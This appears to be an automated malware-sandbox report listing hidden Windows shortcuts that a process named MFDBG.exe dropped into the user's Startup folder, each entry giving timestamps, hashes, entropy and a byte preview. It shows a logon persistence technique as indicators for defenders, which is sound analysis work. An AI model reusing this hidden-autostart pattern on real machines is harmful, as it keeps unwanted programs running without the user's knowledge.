File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926057644135996
Encrypted:	false
SSDEEP:	24:81rBfJ48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:81dPEvZ0yRO7DLO2zdxdRd1kyg
MD5:	5C867997D9FDDEA8C32A756008A970F5
SHA1:	E5F3485E032F56E2108E1320A80B270893CE850B
SHA-256:	5D800AD781C543AF1AE9A8697813F8CE1B6D1FAAE53434A812633AE9054B6052
SHA-512:	746A3E9F7C96A92CEEA77C5E664378D330F46B73A1BC9FA7207213B88CC41697300B80E7CFB88C2E6CC1E5873928D6E83F454BE8EE0C151BC83636DF8E6D34A6
Malicious:	false
Preview:	L..................F....".......d....3.8d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......8d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6fe3d82c76944de08e96741a28572914.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.929493886012553
Encrypted:	false
SSDEEP:	24:8HBfLf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8hQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	2FC23B4C885EF4E59CBC2E60CB911CBC
SHA1:	6E590890E9CF1C5A7260A021FE9D4645E27509B6
SHA-256:	47FF56DCEF6D8244D3EB231E708A6A079B4A81FE33D7E0AD3D4A8FB56B0F45E7
SHA-512:	F7E19B111B55C1F33A4637837F35BFF23F85FA2099FAC576F614A260762270842450383BB676113AA09BB002E633378374C28266C167974AD35CF2E0C2E69F85
Malicious:	false
Preview:	L..................F....".......d...E.[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6ffecee680d44f3dbb0354407982b0b8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923468563949759
Encrypted:	false
SSDEEP:	24:8ABfk8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8OJEvZ0yRO7DLO2zdxdRd1kyg
MD5:	1CD0BF9DDC57AA16C0EC5C890970EBB6
SHA1:	DBC14071772F6543660555976B6EAA898CA52FEF
SHA-256:	AA1F64980F599F2DFAEB2AA49E01B97B2DA8B9B0D63D5B0A734FC278997592D3
SHA-512:	4BA3F2623A018A5E2CCB61084A0CEF646B0CA40711CCBDE29912362C50DB9F84355B296FCB62FE5E9DC524AB6D8AEF6E79B68E48346890CBE8F2E0C07F7E94DE
Malicious:	false
Preview:	L..................F....".......d...X.._d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...4X._d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_701fc54d7c224567958a2a6e6cb04b86.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918469901067678
Encrypted:	false
SSDEEP:	24:86BfJ48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:84PEvZ0yRO7DLO2zdxdRd1kyg
MD5:	A28837F22C974E24556FF1DA2E9B296B
SHA1:	55F6152072ED223DB2EFB9726881295DBBB8533B
SHA-256:	D47C6083B6C5276D2E1C2EE8F793C77343002F4295B45955995EDCD7632EBD16
SHA-512:	4475BDAE6E55EC80982CD5C99049E93AF06E2FEBF9E24EBB2234C8C62A6C34C51B05B467EC60FAA6AFC8250D1F7E5286957F2F1C86031544FC328FB5B05BF881
Malicious:	false
Preview:	L..................F....".......d......9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......8d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7038b8cc706948a9b6654a9ead51cec2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:50 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918221504868371
Encrypted:	false
SSDEEP:	24:823Bfk8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:82RJEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F8EF6722B354CE15D3E1D3D3BE69AA9E
SHA1:	095D9869DD5084D7DF8F04D2F26F1E899E766184
SHA-256:	45353D3BA94814F5D8B6D0F2C1DCA50646485D7FC27FD2D89093B73216B51FD5
SHA-512:	449683EF0314A84E7A56B61C36A5F18AF8F5F41FFFAD9F1AD10A3216B77F324B8691BE9A528E855762E7DB45D0AA8090C72EA0EE5205B128ECF159F3CD5960A0
Malicious:	false
Preview:	L..................F....".......d....Yd_d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...4X._d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_704ca02e732642f4845851c027453a27.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:55 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924528712423653
Encrypted:	false
SSDEEP:	24:8ArBfi8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8AdHEvZ0yRO7DLO2zdxdRd1kyg
MD5:	0A32C50DCA377CB5B625CBAD936D1F36
SHA1:	18E5A2C7B7A29C628813BB9223091A2DBB5972CD
SHA-256:	50E38D7266EA7A390B9C245C15A7565A3DA4CAABA709FC6FD896E6885B220E2E
SHA-512:	EB97AB1928F98CEBED4471D659B43342B97A0464B61ADCC3B45CD16D3E8CD6DCE0C6223B4BE5D0CBBEA85F958E3E9B55121323C17B3FC6F7FC17C0D31676D94A
Malicious:	false
Preview:	L..................F....".......d.....C>d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....<>d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_705faf3929974e2780877c7674fb5de5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:27 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.929727068837652
Encrypted:	false
SSDEEP:	24:8wBfs48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8+09EvZ0yRO7DLO2zdxdRd1kyg
MD5:	C3E1E25ABD8D4A7B2691E12088D13820
SHA1:	79877BA47C7DA5574800D0508CE2B7BAF0FFA11F
SHA-256:	2FC0E3EFF23D3B7BF10DFFEDEFD2BAF467F41F0F529C8A63AB4FE3015C3400B2
SHA-512:	C9AA49269BB0FEA3C66CF54291919E4C03593B571CB4CA9BFB5FC3E0D6C67CC09B4AAB8C0B54727E948C149D6759E3CB1E79AB2E8202811D80771FADDFD66142
Malicious:	false
Preview:	L..................F....".......d.....Qd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....\|Qd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_70ad6c76cedc42058728a325eb078129.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:30 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925811555771069
Encrypted:	false
SSDEEP:	24:88Bfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8yhEvZ0yRO7DLO2zdxdRd1kyg
MD5:	3F2AB54CE26C79DDAAB9BD6752619892
SHA1:	AF3F5CB37013BED5ED87FEEBC044A07EFF0AB5A8
SHA-256:	318AD2F8DC891E6954B6656061E181F061F62D9BD16145B5BAA3F14131695725
SHA-512:	B9443684BC4FF906CC552DFA3904F6FFCB9C02513647ADCB8049BD3438C448E36FF44F7FF7877C21AA36C06C1F50362994C8E64F6719CD470FCE58F0F7D0FDA6
Malicious:	false
Preview:	L..................F....".......d...$N.Sd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....w.Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_714f318456ee4fb28b7267a110e2bffc.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:47 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919156653757023
Encrypted:	false
SSDEEP:	24:8JrBfmQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8JdeFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	6EBF115B91C29D56B8E7244409219E0E
SHA1:	FE8E6AF21F807682EE56F220F6B9E6AEBE7A12CA
SHA-256:	8772BCE880E155B9A84840C6250B03A7E30A4D000FF4E08B619BB57E488ACFCB
SHA-512:	2567B5AC881E485FCC611D1A315F755097861177C3C6B20F5B405D2E12A67846D980DA86C23D72C2780CFE47B63D3FE2CA305A5C319362D988035708FE2D70E7
Malicious:	false
Preview:	L..................F....".......d...s*.9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....).9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_71e11022ed01427f85e63a28b7279b2a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:11 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924528712423653
Encrypted:	false
SSDEEP:	24:81TBfo+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:83gTEvZ0yRO7DLO2zdxdRd1kyg
MD5:	9C18F1C83483FC5DDD1F7806A5947482
SHA1:	260BFF099988AF859D1D5F0C43066C1970860FF0
SHA-256:	DC2B60A0555CA1CE865D49BD5DE950A31E899D41D3D798DD013B10DF4208C93D
SHA-512:	A82269214FB95AE0DAFD2E62C068EA12119B0D9066D1FF02BA8C07AF4091CB8E194DFF4E5723DB1CB502792527FBD21153F276A850CA22955950568233D30973
Malicious:	false
Preview:	L..................F....".......d...k.d$d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....&b$d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7209af5644af4813823ccf72f42388cf.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:14 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9114328484442895
Encrypted:	false
SSDEEP:	24:8VBf6D8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8XyQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	1DFF38D97F9DE2979E5C380AB0D2A7BD
SHA1:	1B03B507313A8205EA61C5336ECC6822DA5CDB07
SHA-256:	D90476450D4B242F0737175705C9185AB2FAAD4DB8A0F28FCF32C8C19905E45D
SHA-512:	2E2B108EE7C0C8EBB7C32DF9CAD2D6C556125387A98A5DF444B646067779228A83CF90BE1F1B1F3AE34C29902BF5F2CA96BC0ECEDCE18501D0698ED2BE830D04
Malicious:	false
Preview:	L..................F....".......d...\..&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...5.%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_72ac47fbe72f4a42aa09551c240e8901.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:58 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.927731771475107
Encrypted:	false
SSDEEP:	24:8IBfMS8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8GU/EvZ0yRO7DLO2zdxdRd1kyg
MD5:	AA1F64685578BDED85C4FD4B5CD968C0
SHA1:	0355F1CEE56470BF24CE8304C083A012E94F07D4
SHA-256:	2CE17B994BF3806F4E65850D97C35121430C19CBA18700FC58F6E083C9298AB0
SHA-512:	56A9471BA70BF3F7F5FF30D7A7B28A036DA9191413BCEDB5311F7C326D26303129BADA6B13B369FEB573C47D7866249E32B02B2E551BDEA2D84CE2677252A2F0
Malicious:	false
Preview:	L..................F....".......d....z.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.......d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_72bddf11b88741a08bd052931fb08fc1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:27 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928554971762548
Encrypted:	false
SSDEEP:	24:8ABf38EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8OEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	E9D2BB26B329BE141782F17AEC90F22B
SHA1:	1DC82FF6158CE44B1456BED9A911D54F27F275E2
SHA-256:	365316EB55A4E613CC53799BAF3EB4C9FAB37BD20125B0ECA44672CA84D4D076
SHA-512:	397E54D1B193EA9646EAC80ADCE4562D7742CE1426376F38D90A90C4D2625C39FB1F69F4EAF5FF2C0F71DF553E77B91469D1C7B03B144561C7229FB55586B256
Malicious:	false
Preview:	L..................F....".......d.....uQd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....MQd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_72c51317af28424b97fdf3fc4c2df4fe.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
